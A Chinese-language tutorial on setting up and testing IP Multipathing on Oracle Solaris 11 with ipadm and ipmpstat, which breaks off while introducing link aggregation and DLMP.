互联网协议多路径IPMP)是一项很棒的技术,它很久以前就被引入(最早在 Oracle Solaris 8 中),从那时起,它已经有了很多改进,直到当前的 Oracle Solaris 11。总体来说,IPMP 为网络接口方案提供了容错性,从而消除了任何单点故障。此外,它通过将负载分布到同一组中的所有活动接口上,增加了外发流量的网络带宽。这是我们的起点;要使用 IPMP,必须创建一个 IPMP 组接口,并将所有的数据 IP 地址分配给该 IPMP 组接口。因此,最终,所有将与 IPMP 一起使用的网络接口都必须分配一个 IPMP 组。

为了继续说明,以下是一个快速示例:

  • 组接口:hacker_ipmp0

    • 接口 1:net0

      测试 IP(test_net0):192.168.1.61

    • 接口 2:net1

      测试 IP(test_net1):192.168.1.71

在前面的示例中,我们有两个接口(net0net1),它们通常用于发送/接收正常的应用数据。然而,数据的 IP 地址并没有分配给net0net1接口,而是分配给包含两个物理网络接口的 IPMP 组接口。来自net0net1接口的测试 IP 地址(分别为192.168.1.61192.168.1.71)被in.mpathd IPMP 守护进程用来检查接口是否正常。

部署 IPMP 时有两种可能的配置:活动-活动和活动-备用。前者配置下所有接口都会传输数据,后者配置下至少有一个备用接口。大多数情况下,公司会使用活动-活动配置。

IPMP 的基本概念是什么?如果一个接口发生故障(或电缆断开),系统仍然能够继续正常传输和接收数据。为什么?因为在 IPMP 组中,至少有一个接口承担着网络任务,如果其中任何一个接口失败,其他接口会继续工作。

IPMP 能否使用分配的数据信息 IP 地址来监控接口?不能;因为如果in.mpathd使用数据 IP 地址来监控接口,监控过程中可能会有延迟。顺便问一下,测试 IP 地址是否必要?其实并不必要。IPMP 有两种监控方式:基于探测的检测(使用测试 IP 地址)和基于链路的检测(如果接口支持)。就个人而言,我更喜欢基于探测的监控(使用测试 IP 地址),因为我曾遇到过链路检测方式的一些问题,我认为基于探测的监控更可靠。然而,如果接口支持基于链路的方式,那么两种方式都会被使用。无论如何,当使用探测式监控时,in.mpathd守护进程会继续监控故障接口,以检查它何时恢复正常。

讲完理论后,活动-备用配置与活动-活动配置非常相似,但备用接口在活动网络接口正常工作的情况下不会发送任何数据包。如果任何活动网络接口进入失败状态,备用网络接口将被激活,并开始发送数据包。

准备工作

本例需要两台安装了 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware Workstation),每台虚拟机内存 4GB,并且第一台虚拟机需要四个网络接口。第二台虚拟机只需要一个接口。

如何实现……

本例将基于之前展示的类似场景,但将使用四个接口,所有接口都是活动的:

  • 组:hacker_ipmp0

    • 数据 IP 地址:192.168.1.50192.168.1.60192.168.1.70,和192.168.1.80

    • 接口 1: net0

      测试 IP(test_net0): 192.168.1.51

    • 接口 2: net1

      测试 IP(test_net1): 192.168.1.61

    • 接口 3: net2

      测试 IP(test_net2): 192.168.1.71

    • 接口 4: net3

      测试 IP(test_net3): 192.168.1.81

和 Oracle Solaris 11 中的每个功能一样,IPMP 基于 服务管理设施SMF)服务,该服务必须在线(默认为在线),并且可以通过运行以下命令进行验证:

root@solaris11-1:~# svcs -a | grep ipmp
online         23:38:50 svc:/network/ipmp:default
root@solaris11-1:~# svcs -l ipmp
fmri         svc:/network/ipmp:default
name         IP Multipathing
enabled      true
state        online
next_state   none
state_time   January  9, 2014 11:38:50 PM BRST
alt_logfile  /system/volatile/network-ipmp:default.log
restarter    svc:/system/svc/restarter:default
contract_id  19
manifest     /lib/svc/manifest/network/network-ipmp.xml
dependency   require_all/none svc:/network/loopback (online)

此外,IPMP 守护进程的行为基于 /etc/default 目录中的 mpathd 配置文件。此外,该配置文件具有默认内容,适用于任何不需要特别注意响应延迟的常规环境。执行以下命令:

root@solaris11-1:~# more /etc/default/mpathd
#
# Copyright 2000 Sun Microsystems, Inc.  All rights reserved.
# Use is subject to license terms.
#
# ident  "%Z%%M%  %I%  %E% SMI"
#
# Time taken by mpathd to detect a NIC failure in ms. The minimum time
# that can be specified is 100 ms.
#
FAILURE_DETECTION_TIME=10000
#
# Failback is enabled by default. To disable failback turn off this option
#
FAILBACK=yes
#
# By default only interfaces configured as part of multipathing groups
# are tracked. Turn off this option to track all network interfaces
# on the system
#
TRACK_INTERFACES_ONLY_WITH_GROUPS=yes
root@solaris11-1:~#

好的,现在是时候继续前进了。首先,执行以下命令列出可用的接口及其各自的状态:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.106/24
net1/v4           dhcp     ok           192.168.1.107/24
net2/v4           dhcp     ok           192.168.1.99/24
net3/v4           dhcp     ok           192.168.1.140/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
net1       ip       ok       yes    --
net2       ip       ok       yes    --
net3       ip       ok       yes    --
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --

在接下来的步骤中,将删除所有 IP 地址对象:

root@solaris11-1:~# ipadm delete-ip net0
root@solaris11-1:~# ipadm delete-ip net1
root@solaris11-1:~# ipadm delete-ip net2
root@solaris11-1:~# ipadm delete-ip net3

返回到监控命令,我们应该不再看到这些 IP 地址对象:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   up       --
net1                phys      1500   up       --
net2                phys      1500   up       --
net3                phys      1500   up       --

到目前为止一切正常。因此,在开始配置 IPMP 之前,最好将 NCP 配置文件从 Automatic 更改为 DefaultFixed,因为 IPMP 设置将使用固定 IP 地址:

root@solaris11-1:~# netadm list
TYPE        PROFILE        STATE
ncp         Automatic      online
ncu:phys    net0           online
ncu:phys    net1           online
ncu:phys    net2           online
ncu:phys    net3           online
ncp         my_profile     disabled
ncp         DefaultFixed   disabled
loc         NoNet          online
loc         work           disabled
loc         Automatic      offline
root@solaris11-1:~# netadm enable -p ncp DefaultFixed
Enabling ncp 'DefaultFixed'

太棒了!很有意思的是,现在系统中没有任何 IP 地址对象:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128

游戏开始了。为了使管理更加方便,所有网络链路将重新命名,以便更容易识别,并且很快会创建新的 IP 地址对象(暂时没有任何 IP 地址值):

root@solaris11-1:~# dladm rename-link net0 net0_myipmp0
root@solaris11-1:~# dladm rename-link net1 net1_myipmp1
root@solaris11-1:~# dladm rename-link net2 net2_myipmp2
root@solaris11-1:~# dladm rename-link net3 net3_myipmp3
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0_myipmp0        phys      1500   unknown  --
net1_myipmp1        phys      1500   unknown  --
net2_myipmp2        phys      1500   unknown  --
net3_myipmp3        phys      1500   unknown  --
root@solaris11-1:~# ipadm create-ip net0_myipmp0
root@solaris11-1:~# ipadm create-ip net1_myipmp1
root@solaris11-1:~# ipadm create-ip net2_myipmp2
root@solaris11-1:~# ipadm create-ip net3_myipmp3
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0_myipmp0 ip     down     no     --
net1_myipmp1 ip     down     no     --
net2_myipmp2 ip     down     no     --
net3_myipmp3 ip     down     no     --
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
lo0/v6            static   ok           ::1/128

现在是时候创建 IPMP 接口组(hacker_ipmp0)并将所有接口分配到该组了。请注意,目前任何网络接口上都没有 IP 地址:

root@solaris11-1:~# ipadm create-ipmp hacker_ipmp0
root@solaris11-1:~# ipadm add-ipmp -i net0_myipmp0 -i net1_myipmp1 -i net2_myipmp2 -i net3_myipmp3  hacker_ipmp0

down (see the ipadm show-if and ipmpstat -a commands in the following snippet) for now (wait for more steps):
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0_myipmp0 ip     ok       yes    --
net1_myipmp1 ip     ok       yes    --
net2_myipmp2 ip     ok       yes    --
net3_myipmp3 ip     ok       yes    --
hacker_ipmp0 ipmp   down     no     net0_myipmp0 net1_myipmp1 net2_myipmp2 net3_myipmp3
root@solaris11-1:~# ipmpstat –g
GROUP       GROUPNAME   STATE     FDT       INTERFACES
hacker_ipmp0 hacker_ipmp0 ok      --        net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
root@solaris11-1:~# ipmpstat -a
ADDRESS                  STATE  GROUP        INBOUND     OUTBOUND
::                       down   hacker_ipmp0  --         --
0.0.0.0                  down   hacker_ipmp0  --         --

因为还没有数据或测试 IP 地址,所以所有探测操作都被禁用:

root@solaris11-1:~# ipmpstat -i
INTERFACE   ACTIVE  GROUP       FLAGS     LINK      PROBE     STATE
net3_myipmp3 yes    hacker_ipmp0 -------  up        disabled  ok
net2_myipmp2 yes    hacker_ipmp0 -------  up        disabled  ok
net1_myipmp1 yes    hacker_ipmp0 -------  up        disabled  ok
net0_myipmp0 yes    hacker_ipmp0 --mbM--  up        disabled  ok
root@solaris11-1:~# ipmpstat -p
ipmpstat: probe-based failure detection is disabled

最后,将通过执行以下命令将所有主要数据 IP 地址和测试 IP 地址添加到 IPMP 配置中:

root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.50/24 hacker_ipmp0/v4addr1
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.60/24 hacker_ipmp0/v4addr2
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.70/24 hacker_ipmp0/v4addr3
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.80/24 hacker_ipmp0/v4addr4
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.51/24 net0_myipmp0/test
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.61/24 net1_myipmp1/test
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.71/24 net2_myipmp2/test
root@solaris11-1:~# ipadm create-addr -T static -a 192.168.1.81/24 net3_myipmp3/test

为了检查我们之前的 ipadm 命令是否有效,请执行以下命令:

root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0_myipmp0/test static   ok           192.168.1.51/24
net1_myipmp1/test static   ok           192.168.1.61/24
net2_myipmp2/test static   ok           192.168.1.71/24
net3_myipmp3/test static   ok           192.168.1.81/24
hacker_ipmp0/v4addr1 static ok          192.168.1.50/24
hacker_ipmp0/v4addr2 static ok          192.168.1.60/24
hacker_ipmp0/v4addr3 static ok          192.168.1.70/24
hacker_ipmp0/v4addr4 static ok          192.168.1.80/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0_myipmp0 ip     ok       yes    --
net1_myipmp1 ip     ok       yes    --
net2_myipmp2 ip     ok       yes    --
net3_myipmp3 ip     ok       yes    --
hacker_ipmp0 ipmp   ok       yes    net0_myipmp0 net1_myipmp1 net2_myipmp2 net3_myipmp3
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0_myipmp0        phys      1500   up       --
net1_myipmp1        phys      1500   up       --
net2_myipmp2        phys      1500   up       --
net3_myipmp3        phys      1500   up       --

如果一切顺利,IPMP 接口组和所有 IP 地址应该是 ok 并且 up 状态:

root@solaris11-1:~# ipmpstat -g
GROUP       GROUPNAME   STATE     FDT       INTERFACES
hacker_ipmp0 hacker_ipmp0 ok      10.00s    net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
root@solaris11-1:~# ipmpstat -a
ADDRESS                   STATE  GROUP       INBOUND     OUTBOUND
::                        down   hacker_ipmp0 --         --
192.168.1.80              up     hacker_ipmp0 net0_myipmp0 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.70              up     hacker_ipmp0 net1_myipmp1 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.60              up     hacker_ipmp0 net2_myipmp2 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.50              up     hacker_ipmp0 net3_myipmp3 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0

多亏了每个测试 IP 地址,所有接口应该都在 in.mpathd 守护进程(来自 IPMP 服务)的监控下,并且通过执行以下命令可以显示该探测信息:

root@solaris11-1:~# ipmpstat -p
TIME     INTERFACE   PROBE  NETRTT    RTT      RTTAVG   TARGET
0.21s    net0_myipmp0 i1411 0.66ms    0.85ms   0.70ms   192.168.1.113
0.47s    net3_myipmp3 i1411 0.55ms    7.57ms   2.31ms   192.168.1.113
0.70s    net2_myipmp2 i1411 0.67ms    0.77ms   0.72ms   192.168.1.112
1.13s    net1_myipmp1 i1412 0.43ms    0.60ms   0.73ms   192.168.1.112
1.78s    net0_myipmp0 i1412 0.63ms    0.74ms   1.00ms   192.168.1.112
2.17s    net3_myipmp3 i1412 0.68ms    0.82ms   0.65ms   192.168.1.112
2.43s    net2_myipmp2 i1412 0.31ms    0.36ms   0.67ms   192.168.1.113
2.94s    net0_myipmp0 i1413 7.17ms    8.03ms   11.05ms  192.168.1.188
2.99s    net1_myipmp1 i1413 0.27ms    0.31ms   1.11ms   192.168.1.113
3.54s    net3_myipmp3 i1413 0.57ms    0.69ms   2.10ms   192.168.1.113
3.69s    net2_myipmp2 i1413 0.61ms    0.72ms   0.72ms   192.168.1.112
^C

你可能会注意到一些奇怪的 IP 地址:192.168.1.112192.168.1.113192.168.1.188。这些地址来自哪里?IPMP 服务使用多播协议进行测试和检查(探测),以确保数据 IP 正常工作,并记录一个数据包从发现的主机往返的 RTT(往返时间)。在这个特定的例子中,IPMP 已经连接到我私人本地网络上的一些机器和一台打印机。

因此,根据之前的命令,可以通过执行以下命令来确认所有 IPMP 网络接口是否正常:

root@solaris11-1:~# ipmpstat -i
INTERFACE   ACTIVE  GROUP       FLAGS     LINK      PROBE     STATE
net3_myipmp3 yes    hacker_ipmp0 -------  up        ok        ok
net2_myipmp2 yes    hacker_ipmp0 -------  up        ok        ok
net1_myipmp1 yes    hacker_ipmp0 -------  up        ok        ok
net0_myipmp0 yes    hacker_ipmp0 --mbM--  up        ok        ok

ipmpstat –i命令的这些标志需要简要解释一下:

  • m:此选项用于发送和/或接收 IPv4 多播包

  • M:此选项用于发送和/或接收 IPv6 多播包

  • b:此选项用于发送和/或接收 IPv4 广播包

  • i:表示未激活

  • s:表示待命

  • d:表示已关闭

同样,关于测试 IP 地址和用于发送多播包的主机信息也以简单的方式呈现如下:

root@solaris11-1:~# ipmpstat -t
INTERFACE   MODE       TESTADDR            TARGETS
net3_myipmp3 multicast 192.168.1.81        192.168.1.113 192.168.1.112
net2_myipmp2 multicast 192.168.1.71        192.168.1.112 192.168.1.113
net1_myipmp1 multicast 192.168.1.61        192.168.1.113 192.168.1.112
net0_myipmp0 multicast 192.168.1.51        192.168.1.112 192.168.1.188 192.168.1.113

很好!结束了吗?不。我们如何知道 IPMP 配置是否有效?最好的方法是让网络发生故障。为了模拟这种情况,我们必须先通过执行以下命令关闭 Oracle Solaris 11:

root@solaris11-1:~# shutdown –y –g0

在下一步中,我们需要选择我们的虚拟机,点击设置按钮,然后进入网络。在那里,对于附加到选项,将第一个接口更改为未附加

如何操作…

这个技巧将模拟接口故障,接口将不会在 Oracle Solaris 11 中出现。接着,虚拟机(solaris11-1)必须再次启动,正如预期的那样,系统运行得非常顺畅。可以通过使用所有先前的网络和 IPMP 命令来确认这一点:

root@solaris11-1:~# ipmpstat -pn
TIME     INTERFACE   PROBE  NETRTT   RTT      RTTAVG    TARGET
0.08s    net2_myipmp2 i761  0.22ms   0.31ms   0.56ms    192.168.1.113
1.31s    net1_myipmp1 i762  3.90ms   4.02ms   9.35ms    192.168.1.188
1.37s    net3_myipmp3 i761  0.48ms   0.57ms   0.83ms    192.168.1.113
1.57s    net2_myipmp2 i762  0.32ms   0.38ms   0.61ms    192.168.1.113
2.79s    net1_myipmp1 i763  0.63ms   0.73ms   0.78ms    192.168.1.113
2.85s    net3_myipmp3 i762  0.66ms   0.78ms   0.72ms    192.168.1.113
1.11s    net0_myipmp0 i763  --       --       --        192.168.1.113
-0.03s   net0_myipmp0 i762  --       --       --        192.168.1.188
3.08s    net2_myipmp2 i763  0.57ms   0.70ms   0.57ms    192.168.1.113
4.02s    net3_myipmp3 i763  0.58ms   0.69ms   0.82ms    192.168.1.113

正如预期的那样,第一次接口(net0_myipmp0)在探测测试中失败。接下来,在其他命令中也会显示相同的故障:

root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0_myipmp0 ip     failed   no     --
net1_myipmp1 ip     ok       yes    --
net2_myipmp2 ip     ok       yes    --
hacker_ipmp0 ipmp   ok       yes    net0_myipmp0 net1_myipmp1 net2_myipmp2 net3_myipmp3
net3_myipmp3 ip     ok       yes    --
root@solaris11-1:~# ipmpstat -g
GROUP       GROUPNAME   STATE     FDT       INTERFACES
hacker_ipmp0 hacker_ipmp0 degraded 10.00s   net3_myipmp3 net2_myipmp2 net1_myipmp1 [net0_myipmp0]

IPMP 组状态已降级,因为其中一个接口(net0_myipmp0)丢失。其他 IPMP 命令可以确认这一点:

root@solaris11-1:~# ipmpstat -i
INTERFACE   ACTIVE  GROUP       FLAGS     LINK      PROBE     STATE
net3_myipmp3 yes    hacker_ipmp0 -------  up        ok        ok
net2_myipmp2 yes    hacker_ipmp0 -------  up        ok        ok
net1_myipmp1 yes    hacker_ipmp0 --mbM--  up        ok        ok
net0_myipmp0 no     hacker_ipmp0 -------  up        failed    failed
root@solaris11-1:~# ipmpstat -a
ADDRESS                   STATE  GROUP       INBOUND     OUTBOUND
::                        down   hacker_ipmp0 --         --
192.168.1.80              up     hacker_ipmp0 net1_myipmp1 net3_myipmp3 net2_myipmp2 net1_myipmp1
192.168.1.70              up     hacker_ipmp0 net3_myipmp3 net3_myipmp3 net2_myipmp2 net1_myipmp1
192.168.1.60              up     hacker_ipmp0 net2_myipmp2 net3_myipmp3 net2_myipmp2 net1_myipmp1
192.168.1.50              up     hacker_ipmp0 net1_myipmp1 net3_myipmp3 net2_myipmp2 net1_myipmp1

小心——乍一看,可能会觉得有些不对劲,但实际上并没有。很多人会猜测 IP 地址绑定到某个特定的接口,但事实并非如此。所有数据 IP 地址都分配给 IPMP 组接口,IPMP 会尝试使用最佳接口进行外部连接。然而,最好的测试方法是使用另一台机器(solaris11-2),然后从该机器尝试 ping 所有数据 IP 地址(来自第一台机器solaris11-1):

root@solaris11-2:~# ping 192.168.1.50
192.168.1.50 is alive
root@solaris11-2:~# ping 192.168.1.60
192.168.1.60 is alive
root@solaris11-2:~# ping 192.168.1.70
192.168.1.70 is alive
root@solaris11-2:~# ping 192.168.1.80
192.168.1.80 is alive

太神奇了!Oracle Solaris 11 再次获胜!如果我们再次关闭第一台虚拟机(shutdown –y –g0poweroff),将接口恢复到旧配置(设置 | 网络 | 适配器 1 | 附加到:桥接网络),然后重新启动solaris11-1虚拟机;我们将确认一切ok

root@solaris11-1:~# ipmpstat -i
INTERFACE   ACTIVE  GROUP       FLAGS     LINK      PROBE     STATE
net3_myipmp3 yes    hacker_ipmp0 -------  up        ok        ok
net2_myipmp2 yes    hacker_ipmp0 -------  up        ok        ok
net1_myipmp1 yes    hacker_ipmp0 -------  up        ok        ok
net0_myipmp0 yes    hacker_ipmp0 --mbM--  up        ok        ok
root@solaris11-1:~# ipmpstat -g
GROUP       GROUPNAME   STATE     FDT       INTERFACES
hacker_ipmp0 hacker_ipmp0 ok      10.00s    net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
root@solaris11-1:~# ipmpstat -a
ADDRESS                   STATE  GROUP       INBOUND     OUTBOUND
::                        down   hacker_ipmp0 --         --
192.168.1.80              up     hacker_ipmp0 net1_myipmp1 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.70              up     hacker_ipmp0 net3_myipmp3 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.60              up     hacker_ipmp0 net2_myipmp2 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.50              up     hacker_ipmp0 net0_myipmp0 net3_myipmp3 net2_myipmp2 net1_myipmp1 net0_myipmp0

太棒了!不过,让我们执行另一个测试。目标是将一个活动接口转换为备用接口(即活动-待命配置)。因此,要继续操作,我们需要删除一个携带数据并分配给备用网络接口的 IP 地址。如果不删除,也不会有任何区别。放心!以下过程轻松搞定。

第一步是通过运行以下命令将接口的standby属性从off改为on

root@solaris11-1:~# ipadm set-ifprop -p standby=on -m ip net3_myipmp3

通过执行以下命令检查上一个命令是否按预期工作:

root@solaris11-1:~# ipadm show-ifprop -p standby net3_myipmp3
IFNAME       PROPERTY  PROTO PERM CURRENT PERSISTENT DEFAULT POSSIBLE
net3_myipmp3 standby   ip    rw   on      on         off      on,off

正如我们所提到的,通过运行以下命令将删除一个数据 IP 地址对象(第四个):

root@solaris11-1:~# ipadm delete-addr hacker_ipmp0/v4addr4

net3_myipmp3接口被标记为已删除(其相应的接口被放入括号中):

root@solaris11-1:~# ipmpstat -g
GROUP       GROUPNAME   STATE     FDT       INTERFACES
hacker_ipmp0 hacker_ipmp0 ok      10.00s    net2_myipmp2 net1_myipmp1 net0_myipmp0 (net3_myipmp3)

通过运行以下三个命令检查net3_myipmp3接口是否已经不再显示:

root@solaris11-1:~# ipmpstat -a
ADDRESS                   STATE  GROUP       INBOUND     OUTBOUND
::                        down   hacker_ipmp0 --         --
192.168.1.80              up     hacker_ipmp0 net1_myipmp1 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.70              up     hacker_ipmp0 net0_myipmp0 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.60              up     hacker_ipmp0 net2_myipmp2 net2_myipmp2 net1_myipmp1 net0_myipmp0
192.168.1.50              up     hacker_ipmp0 net0_myipmp0 net2_myipmp2 net1_myipmp1 net0_myipmp0
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0_myipmp0 ip     ok       yes    --
net1_myipmp1 ip     ok       yes    --
net2_myipmp2 ip     ok       yes    --
hacker_ipmp0 ipmp   ok       yes    net0_myipmp0 net1_myipmp1 net2_myipmp2 net3_myipmp3
net3_myipmp3 ip     ok       no     --
root@solaris11-1:~# ipmpstat -i

INTERFACE   ACTIVE  GROUP       FLAGS     LINK      PROBE     STATE
net3_myipmp3 no     hacker_ipmp0 is-----  up        ok        ok
net2_myipmp2 yes    hacker_ipmp0 -------  up        ok        ok
net1_myipmp1 yes    hacker_ipmp0 -------  up        ok        ok
net0_myipmp0 yes    hacker_ipmp0 --mbM--  up        ok        ok

请注意,net3_myipmp3上的is标志描述了该接口为非活动状态,并在备用模式下工作。所有的测试都可以在这种主动-被动场景下以相同方式进行。

最后但同样重要的是,我们需要将一切恢复到这一节之前的状态,以便为下一节做准备,下一节将解释如何设置链路聚合:

root@solaris11-1:~# ipadm remove-ipmp hacker_ipmp0 -i net0_myipmp0 -i net1_myipmp1 -i net2_myipmp2 -i net3_myipmp3
root@solaris11-1:~# ipadm delete-ipmp hacker_ipmp0
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0_myipmp0/test static   ok           192.168.1.51/24
net1_myipmp1/test static   ok           192.168.1.61/24
net2_myipmp2/test static   ok           192.168.1.71/24
net3_myipmp3/test static   ok           192.168.1.81/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# ipadm delete-addr net0_myipmp0/test
root@solaris11-1:~# ipadm delete-addr net1_myipmp1/test
root@solaris11-1:~# ipadm delete-addr net2_myipmp2/test
root@solaris11-1:~# ipadm delete-addr net3_myipmp3/test
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0_myipmp0 ip     down     no     --
net1_myipmp1 ip     down     no     --
net2_myipmp2 ip     down     no     --
net3_myipmp3 ip     down     no     --
root@solaris11-1:~# ipadm delete-ip net0_myipmp0
root@solaris11-1:~# ipadm delete-ip net1_myipmp1
root@solaris11-1:~# ipadm delete-ip net2_myipmp2
root@solaris11-1:~# ipadm delete-ip net3_myipmp3
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0_myipmp0        phys      1500   unknown  --
net1_myipmp1        phys      1500   unknown  --
net2_myipmp2        phys      1500   unknown  --
net3_myipmp3        phys      1500   unknown  --
root@solaris11-1:~# dladm rename-link net0_myipmp0 net0
root@solaris11-1:~# dladm rename-link net1_myipmp1 net1
root@solaris11-1:~# dladm rename-link net2_myipmp2 net2
root@solaris11-1:~# dladm rename-link net3_myipmp3 net3
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net0                phys      1500   unknown  --
net1                phys      1500   unknown  --
net2                phys      1500   unknown  --
net3                phys      1500   unknown  --
root@solaris11-1:~# netadm enable -p ncp Automatic
Enabling ncp 'Automatic'
root@solaris11-1:~# ipadm show-addr | grep v4
lo0/v4            static   ok           127.0.0.1/8
net0/v4           dhcp     ok           192.168.1.108/24
net1/v4           dhcp     ok           192.168.1.106/24
net2/v4           dhcp     ok           192.168.1.109/24
net3/v4           dhcp     ok           192.168.1.107/24

我们已经完成了 IPMP 的设置!Oracle Solaris 11 是世界上最好的操作系统!

方案概述

必须始终记住的主要概念是,IPMP 框架适用于消除单点故障。尽管它能够创建外向负载均衡,但真正的目标是高可用性网络。

设置链路聚合

作为一个粗略的对比,我们可以将链路聚合(802.3ad LACP)看作是网络技术第二层(数据链路层),它的作用相当于 IPMP(网络技术第三层:IP)的逆操作。虽然 IPMP 关注于提供网络接口故障容错——消除单点故障并提供更高的外部吞吐量作为附加功能——链路聚合则类似于 Oracle Solaris 早期版本中的“trunk”产品,它为网络流量提供高吞吐量,并且作为附加功能也提供了故障容错功能,使得如果某个网络接口故障,流量不会中断。

总结事实:

  • IPMP 建议用于故障容忍,但它也提供一定的输出负载均衡功能

  • 链路聚合建议用于增加吞吐量,但它也提供故障容忍功能。

链路聚合功能将两个或更多网络接口结合在一起,并将它们作为一个单一单元进行管理。基本上,链路聚合带来了性能优势,但所有链路必须具有相同的速度,工作在全双工和点对点模式下。聚合的一个例子是Aggregation_1 | net0、net1、net2 和 net3。

最终,只创建了一个逻辑对象(Aggregation_1),该对象基于四个网络接口(net0、net1、net2 和 net3)。这些接口显示为一个单一接口,合并了它们的优势(例如高吞吐量),并将它们隐藏起来。然而,仍然存在一个问题:如何将传出的数据包通过接口进行传递和负载均衡?

对这个问题的答案被称为聚合与负载均衡策略,它们通过哈希一些值(属性)来决定传出的链路,具体策略列举如下:

  • L2(网络):在此,外发接口是通过哈希每个数据包的 MAC 头部来选择的。

  • L3(寻址):在此,外发接口是通过哈希每个数据包的 IP 头部来选择的。

  • L4(通信):在此,外发接口是通过哈希每个数据包的 UDP 和 TCP 头部来选择的。这是默认策略。一个非常重要的说明是,这个策略提供最佳的性能,但并不是所有系统都支持,且在交换机设备可能成为限制因素的情况下,并不完全符合 802.3ad 标准。此外,如果聚合方案连接到交换机,则物理交换机和聚合必须支持链路聚合控制协议LACP),因为聚合可以配置以下值:

    • 关闭模式:这是聚合的默认模式。

    • 主动模式:这是聚合配置模式,在此模式下,聚合会定期生成 LACP 数据单元。

    • 被动模式:这是聚合配置模式,仅在接收到交换机发来的 LACP 数据单元时生成 LACP 数据单元,要求两端(聚合和交换机)都必须以被动模式进行配置。

普通链路聚合(即 trunk 链路聚合)唯一的缺点是它无法跨多个交换机工作,且仅限于与一个交换机配合使用。为了克服这个问题,有一种名为数据链路多路径DLMP)聚合的技术,它可以跨多个交换机工作。为了理解 DLMP 聚合,假设在同一系统中有以下设置:

  • 区域 1 包含 vnicA、vnicB 和 vnicC 虚拟接口,连接到 NIC1

  • 区域 2 包含 vnicD 和 vnicE 虚拟接口,它们都连接到 NIC2

  • NIC1 连接到交换机 1SW1

  • NIC2 连接到交换机 2SW2

以下是另一种表示方式:

  • 区域 1 | vnicA, vnicB, vnicC | NIC1 | SW1

  • 区域 2 | vnicD, vnicE | NIC2 | SW2

使用 trunk 链路聚合,如果 NIC1 网络接口变为down,系统仍然可以将所有流量切换到 NIC2,并且如果 NIC1 和 NIC2 都连接到同一交换机,则不会出现任何问题(但这不是本例)。

然而,在这种情况下,情况变得更糟,因为有两个交换机连接到同一系统。如果交换机 1 出现故障,会发生什么情况?这可能会是一个大问题,因为区域 1 将会被隔离。Trunk 链路聚合不支持跨交换机扩展,因此无法切换到另一个交换机(交换机 2)。简而言之,区域 1 将失去网络访问。

这是使用 DLMP 聚合的完美场景,因为它能够跨越多个交换机而无需在交换机上进行任何特殊配置(只有在两个交换机处于同一广播域时才需要)。即使 Switch1SW1)端口出现 down,Oracle Solaris 11 也能够将 Zone1 中的所有 vnicA、vnicB 和 vnicC 流量切换到使用不同交换机(SW2)端口的 NIC2。简而言之,Zone1 不会失去对网络的访问。

准备就绪

要按照这个步骤操作,你必须有两台安装了 Oracle Solaris 11 的虚拟机(VirtualBox 或 VMware),第一台虚拟机需要有 4 GB 内存和四个网络接口,第二台机器只需一个网络接口。

如何操作…

